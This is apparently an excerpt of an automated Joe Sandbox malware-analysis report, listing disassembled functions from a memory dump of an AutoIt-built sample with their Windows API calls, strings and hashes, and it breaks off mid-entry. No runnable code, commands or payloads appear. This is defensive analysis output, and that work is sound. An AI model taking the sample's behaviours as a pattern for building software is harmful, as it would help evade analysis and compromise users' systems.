Instruction Fuzzy Hash: FBE08671E41215DBEB201FA0AF0EF863B7CBF847A1F184818F249CA080D6358441E790

Function 00F8D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00F8D858
GetDC.USER32(00000000), ref: 00F8D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00F8D882
ReleaseDC.USER32(?), ref: 00F8D8A3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 674cf15e36a41e750dc82351f9c6450270ee939679fdbaa66f429d474ec3ba35
Instruction ID: 76a214a5b8b12438c8e0a5f1706fcfd5792bfbbde9d2bf25199ea6c5332c53dd
Opcode Fuzzy Hash: 674cf15e36a41e750dc82351f9c6450270ee939679fdbaa66f429d474ec3ba35
Instruction Fuzzy Hash: 1EE09AB5840209DFCB41AFA4DA0DA6DBBB5FB48311F148459E84EE7250C7399942BF90

Function 00F8D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00F8D86C
GetDC.USER32(00000000), ref: 00F8D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00F8D882
ReleaseDC.USER32(?), ref: 00F8D8A3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: a7a1b9e512ac22d0ca4b0a8023fe0e2fc676f5e90cf111d13c9f0095ab054513
Instruction ID: 1162f6728b65c86691595b0d65a79818ae836713465b2b0507efc878af7135cc
Opcode Fuzzy Hash: a7a1b9e512ac22d0ca4b0a8023fe0e2fc676f5e90cf111d13c9f0095ab054513
Instruction Fuzzy Hash: CCE092B5C00208EFCB51AFA4DA0DA6DBBB5BB48311F148449E94EE7250CB399902BF90

Function 00F3BBE0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 232COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00F3BEB3

Strings

D%, xrefs: 00F3BC2F
D%, xrefs: 00F3BC28

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Init_thread_footer
String ID: D%$D%
API String ID: 1385522511-485025506
Opcode ID: 3738c92ba9d45e618168756cf39bff34c91476b95b40f9e89446452b06fb443b
Instruction ID: 2e8cdb7c856792cddef04331c4262e98887227b240044b8142f20c7b13a7833d
Opcode Fuzzy Hash: 3738c92ba9d45e618168756cf39bff34c91476b95b40f9e89446452b06fb443b
Instruction Fuzzy Hash: A1911B75E00206DFCB28CF59C0A16A9B7F1FF58325F24416EDA85AB351D731E981EB90

Function 00FA4D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00F37620: _wcslen.LIBCMT ref: 00F37625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00FA4ED4

Strings

*, xrefs: 00FA4E10
LPT, xrefs: 00FA4DFB

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 2bd2b64f0fa2e8bb2454a07394bc4b2052a77b0eb9d4d177d707526ebc93b574
Instruction ID: 11a1675128611ebb7451a58e27779045c30c2c71d7ce061ed7b57ee7681c0533
Opcode Fuzzy Hash: 2bd2b64f0fa2e8bb2454a07394bc4b2052a77b0eb9d4d177d707526ebc93b574
Instruction Fuzzy Hash: 409161B5A00204DFCB14DF58C485EAABBF1BF85314F198099E80A9F3A2C775ED85DB91

Function 00F5E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00F5E30D

Strings

pow, xrefs: 00F5E2E5, 00F5E302

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 023a1bf50456337be355d760fd0149bb4c13f172e2e70535d91bca03659d9005
Instruction ID: 0d9bc7823350ded7b9a10e338e7994d098e8451abdb5872f95de85bef107a9db
Opcode Fuzzy Hash: 023a1bf50456337be355d760fd0149bb4c13f172e2e70535d91bca03659d9005
Instruction Fuzzy Hash: F3518E61E0C30196CB197724CD0137A7F94AB60766F304D99E8D5422EDEB358DCDBB86

Function 00F4E187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 00F4E1B1

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: f3e5af226cf4744c9ab6cd4a4d3835e92b1ac4f052f4ae7ea07c1a292d5f91e9
Instruction ID: b01389cc9061adf678ca0a7a0d2c8c4b74af5ce210c5fa4434a6d370a628fe42
Opcode Fuzzy Hash: f3e5af226cf4744c9ab6cd4a4d3835e92b1ac4f052f4ae7ea07c1a292d5f91e9
Instruction Fuzzy Hash: 2C51F235E04246DFDB15EF28C8816FE7BA8FF55320F244055ECA19B290D7789E42EB90

Function 00F4F291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00F4F2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 00F4F2BB

Strings

@, xrefs: 00F4F2AF

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 9bc0238f8b4b1e576644f9e1fb9be883e4f1d92a634d6e1db54c38277f40d65d
Instruction ID: 9d882b8d41fcdfa7a3181e5d1932858686253ff690acd0059ad2a47548e15605
Opcode Fuzzy Hash: 9bc0238f8b4b1e576644f9e1fb9be883e4f1d92a634d6e1db54c38277f40d65d
Instruction Fuzzy Hash: B95137B140C7489BD320AF11DC86BAFBBF8FB84310F81885DF2D952195EB748529DB66

Function 00FB5745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 00FB57E0
_wcslen.LIBCMT ref: 00FB57EC

Strings

CALLARGARRAY, xrefs: 00FB57E6, 00FB57EB

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 5205076a73761130e3b517119ced8c7d936fa29d9dd5e61455e8d4fcaa677399
Instruction ID: 3dc8b9b62c3fb12eed21150cdf7ad36c66e92bbe5f23d8a3675c98f87961abe0
Opcode Fuzzy Hash: 5205076a73761130e3b517119ced8c7d936fa29d9dd5e61455e8d4fcaa677399
Instruction Fuzzy Hash: A3419F31E002099FCB14DFAAC882AEEBBB5EF59724F144029E505A7251E778DD81EF90

Function 00FAD0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00FAD130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00FAD13A

Strings

|, xrefs: 00FAD10B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: f0b2c2aea5d41ad610cb2ebcc6b8f947a6f40f55f3303617beefbfe8ba816bab
Instruction ID: 3c3e24b0e313a9c1e000d4691af83ae882838879d596ca375fcbaa8b9e5a803f
Opcode Fuzzy Hash: f0b2c2aea5d41ad610cb2ebcc6b8f947a6f40f55f3303617beefbfe8ba816bab
Instruction Fuzzy Hash: 97313E71D00109EBDF15EFA4CC85AEE7FB9FF05310F104019F815A6161D735AA46EB64

Function 00FC4537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00FC461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00FC4634

Strings

', xrefs: 00FC458E

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 324617a1965e0b82d2be3681b3fc854bdd4fd450c0dda0cc8d465c66b9bf87fe
Instruction ID: 04f453ed61a9012287b9bdcc55f16a289f42a13e948bd65ad1ac080fcd153758
Opcode Fuzzy Hash: 324617a1965e0b82d2be3681b3fc854bdd4fd450c0dda0cc8d465c66b9bf87fe
Instruction Fuzzy Hash: FF313975A0020A9FDB14CF69CA91FDABBB5FF49310F14446AE904AB385D770A941EF90

Function 00FC31EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00FC327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00FC3287

Strings

Combobox, xrefs: 00FC3249

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: dc7d7178ff97b112af1062aa60839d8961a44e29976a54a82e3781722ab77d2e
Instruction ID: 4bb80e7008905cd6f0f185c6a15de268f17b467753a9be9f46b4d57226114778
Opcode Fuzzy Hash: dc7d7178ff97b112af1062aa60839d8961a44e29976a54a82e3781722ab77d2e
Instruction Fuzzy Hash: A811E27170020A7FEF219E54DD82FFB376AEB943B4F108128F91897290D631DD51A760

Function 00FACD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00FACD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00FACDA6

Strings

<local>, xrefs: 00FACD66

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 1efb0971847ed22c4c3ef3e778e2f9957dd375969a73a2059a4a0a5b2b057621
Instruction ID: d9033af4d6d3a068badd62f66f0eda61cdae57e31349da8564ea043a804d582b
Opcode Fuzzy Hash: 1efb0971847ed22c4c3ef3e778e2f9957dd375969a73a2059a4a0a5b2b057621
Instruction Fuzzy Hash: 8411A3B26156367AD7244B668C45FE7BE6CEF137B4F004226F12983180D7609840E6F0

Function 00F96C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

CharUpperBuffW.USER32(?,?,?), ref: 00F96CB6
_wcslen.LIBCMT ref: 00F96CC2

Strings

STOP, xrefs: 00F96CBC, 00F96CC1

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 7037d3262c2765224f4b3c141a971d56b61d883d949c79d045520ee352b5c99c
Instruction ID: 40d850fc4dd9e01afce3b2102aa4ac832e267dab023be549c44c86cd99108c35
Opcode Fuzzy Hash: 7037d3262c2765224f4b3c141a971d56b61d883d949c79d045520ee352b5c99c
Instruction Fuzzy Hash: 95010432A045278ADF219FBDDC819BF37A4EE60720B000525F862D3190EA75E840E650

Function 00F91CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

Part of subcall function 00F93CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00F93CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00F91D4C

Strings

ComboBox, xrefs: 00F91CEB
ListBox, xrefs: 00F91D16

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: ace332fe397bd5fc68e2fcc80f3b7d09884bf3a1cfce263f8df272968cf13764
Instruction ID: b3a8068ee0d18b4b04a8bb5850bda1e2aefa452bcf7da58f7c97388acd5997b4
Opcode Fuzzy Hash: ace332fe397bd5fc68e2fcc80f3b7d09884bf3a1cfce263f8df272968cf13764
Instruction Fuzzy Hash: FB012831E04219AB9F08EBA0CD11DFE73A8FF423A0F00051AF922573D1EAB45908F660

Function 00F91BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

Part of subcall function 00F93CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00F93CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00F91C46

Strings

ComboBox, xrefs: 00F91BE5
ListBox, xrefs: 00F91C10

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: d22880e4433ba87f5eab090a903db8bd02279c2b7da883cd020772b1280a807e
Instruction ID: 455b3196ffa1e9e4dda661e818fbe137dfd2925e5240b3dc813e3d95be3543c8
Opcode Fuzzy Hash: d22880e4433ba87f5eab090a903db8bd02279c2b7da883cd020772b1280a807e
Instruction Fuzzy Hash: 0701F771A8810966EF04EB90CE52EFF77A8AF51350F100029B90663281EAA59E08F6B1

Function 00F91C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

Part of subcall function 00F93CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00F93CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00F91CC8

Strings

ComboBox, xrefs: 00F91C69
ListBox, xrefs: 00F91C94

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: a546058634786fc42cd2f0f6d160e090df38f67543e6b43c2d1a330d3b465847
Instruction ID: efd387868d3981526ff41e826e1f807a56a92cf20bcde10fc1b08d2af3da6922
Opcode Fuzzy Hash: a546058634786fc42cd2f0f6d160e090df38f67543e6b43c2d1a330d3b465847
Instruction Fuzzy Hash: B601A775B4411966DF04E790CE01AFE77A8AF11350F540025B90573281EAA49F08F671

Function 00F91D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F39CB3: _wcslen.LIBCMT ref: 00F39CBD

Part of subcall function 00F93CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00F93CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00F91DD3

Strings

ComboBox, xrefs: 00F91D75
ListBox, xrefs: 00F91DA0

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: f4b579fabfa515b30d32df19aef31b0cab2f032b20b8ef0c2b72c2a1a47c28ba
Instruction ID: 965e39a0fb02353086f94202bf488538f1ce6cb4876726f328dcf4cc98abb5dd
Opcode Fuzzy Hash: f4b579fabfa515b30d32df19aef31b0cab2f032b20b8ef0c2b72c2a1a47c28ba
Instruction Fuzzy Hash: 1FF0F471A4421966EF04E7A4CD52FFE77A8BF41360F040926B922A32C1DAE4990CA2A0

Function 00FB747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00FB7493
_wcslen.LIBCMT ref: 00FB74B9

Strings

3, 3, 16, 1, xrefs: 00FB7483

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: 2371fb37b72f348a23aceaa28538e4b891f1b6702e596a54f3188ea55ef53470
Instruction ID: a88b14117881bc444a12f04ff2ceaedf2d26917dce0a07c57a68b0c9a7af1d1c
Opcode Fuzzy Hash: 2371fb37b72f348a23aceaa28538e4b891f1b6702e596a54f3188ea55ef53470
Instruction Fuzzy Hash: 3EE02B06A04320E09331327BDCC29BF7689CFC5762710182BFE81C2266EA98DDD1B3A1

Function 00F90B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00F90B23

Strings

Error allocating memory., xrefs: 00F90B1C
AutoIt, xrefs: 00F90B17

Memory Dump Source

